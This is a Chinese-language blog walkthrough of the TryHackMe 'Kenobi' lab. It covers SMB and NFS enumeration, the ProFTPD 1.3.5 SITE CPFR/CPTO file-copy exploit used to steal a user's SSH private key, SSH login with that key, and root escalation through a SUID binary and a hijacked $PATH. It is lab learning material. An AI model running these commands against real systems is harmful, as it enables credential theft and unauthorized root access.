id_rsa文件窃取私钥登入(day1)


TryHackMe系列之Kenobi


ps:找到的国外渗透靶场,花了我点小米,看起来对新手较为的友好,里面有较为完整的学习渗透路径

接下来就是长期的更新和学习,Fighting!


知识点

本次挑战涵盖的主题:

  • nmap端口扫描+脚本枚举服务器消息块服务+网络文件系统枚举
  • ProFTPD 漏洞
  • 使用 SSH 密钥
  • 通过设置用户识别 (SUID) 进行权限提升

信息收集

nmap扫描端口

先总览端口信息:

22:ssh

80:http

111:rpcbind

139、445:samba

这里虽有开80端口但是今天的主角不是打80端口的web服务,主打文件共享服务,以下细说。

Samba服务

Samba是一个开源的软件套件,用于在UNIX/Linux系统上实现SMB/CIFS(Server Message Block/Common Internet File System)协议。SMB/CIFS协议是一种用于在计算机之间共享文件、打印机以及其他资源的网络协议,最常见的应用场景之一是在局域网中共享文件夹和打印机。

  1. 文件共享服务: Samba允许UNIX/Linux系统上的文件夹和文件作为网络共享资源,可以通过SMB/CIFS协议访问。这意味着Windows、Linux和其他操作系统上的计算机可以通过网络访问和共享文件。

  2. 打印服务: Samba还支持共享打印机,使UNIX/Linux系统上的打印机可以通过SMB/CIFS协议与Windows和其他操作系统共享。

  3. 身份验证和授权: Samba提供了身份验证和授权机制,允许用户通过用户名和密码进行访问控制,确保只有授权用户能够访问共享资源。

  4. 集成Windows域控制器: Samba还可以作为Windows域控制器的替代品,提供域用户身份验证和管理功能,使得UNIX/Linux系统能够集成到Windows域中。

    也就是提供文件共享和打印服务的软件

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.91.49
# smb-enum-shares.nse:用于枚举SMB服务上的共享资源。
# smb-enum-users.nse:用于枚举SMB服务上的用户。
# 扫描结果将显示目标主机上开放的SMB共享以及SMB用户

其他两个没有用处,anonymous文件夹中存在日志文件log.txt,这是必须要查看的

smbclient //10.10.91.49/anonymous
# smbclient 是一个用于与 SMB/CIFS 协议兼容的服务器进行交互的命令行工具。SMB/CIFS 协议用于在计算机之间共享文件、打印机和其他资源。smbclient 工具允许用户通过命令行界面访问和操作远程共享资源。

使用get命令就可以实现远程下载到当前文件夹

也可以通过:

smbget -R smb://10.10.91.49/anonymous 

私钥获取

cat log.txt

看到id_rsa也是有些熟悉,记得在vulnstack靶场也是为了伪造id_rsa和id_rsa.pub文件实现私钥远程登入,可惜失败了,没有体验到那种感觉。

我们的目的就是将id_rsa文件下载到本地利用这给文件远程ssh登入靶机

ProFTPD-1.3.5 漏洞复现


ps:文件任意复制

当然要确定版本信息,连接就可以

nc 10.10.91.49 21

利用searchsploit查找可利用脚本:

searchsploit ProFtpd 1.3.5 

searchsploit找脚本的好方法

searchsploit -m [路径]
# searchsploit -m linux/remote/36742.txt

大致的漏洞是利用SITE CPFO和SITE CPTO,可能被未经身份验证的客户端使用的信息。这让我们基本上可以在服务器内复制和粘贴文件和目录

这样我们可以通过命令将id_rsa文件复制到/var/tmp路径下

nc 10.10.91.49 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa

在我们的文件中创建路径:

mkdir /mnt/kenobinfs 

sudo mount 10.10.91.49:/var /mnt/kenobinfs
#挂载目标文件到本机

成功挂载,远程登入

ssh -i id_rsa kenobi@10.10.91.49 

suid权限提升

img

  • SUID位——当文件具有该位时,执行该文件的用户自动获得文件所有者的权限。例如,如果ls命令具有这样的位,并且 root 是所有者,则任何其他正在运行的用户ls都将以 root 权限执行此命令。
  • SGID 位— 与上面的情况完全相同,但针对的是组,而不是针对单个用户
允许 关于文件 关于目录
SUID位 用户以文件所有者的权限执行文件 -
SGID位 用户在组所有者的许可下执行该文件。 在目录中创建的文件具有相同的组所有者。
粘位 没意思 禁止用户删除其他用户的文件。

find / -perm -u=s -type f 2>/dev/null
#寻找suid可用文件

这里多少有点离谱了

这么多的命令,menu拿来提权???

看wp说是找看起来不是文件管理员熟悉的命令。。。哥们表示都不熟悉

这里学习它的思想

每一个功能,都有固定的命令可以实现,直接用ifconfig吧

冒充文件命令提权

$PATH 是一个环境变量,用于指定系统在哪些目录中查找可执行文件。当你在命令行中输入一个命令时,系统会按照 $PATH 中定义的顺序逐个查找这些目录,直到找到命令对应的可执行文件为止。

echo /bin/sh >ifconfig
# 伪造ifconfig文件为提权文件
chmod 777 ifconfig
# 赋权
pwd
# 查看当前路径
export PATH=/home/kenobi:$PATH
# 将此文件声明为$PATH环境变量的首位,这样使用ifconfig命令时就会先找到我们伪造的路径执行命令
echo $PATH
/usr/bin/menu
# 执行suid文件

提权成功,结束room挑战


文章作者: 矢坕
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 矢坕 !
  目录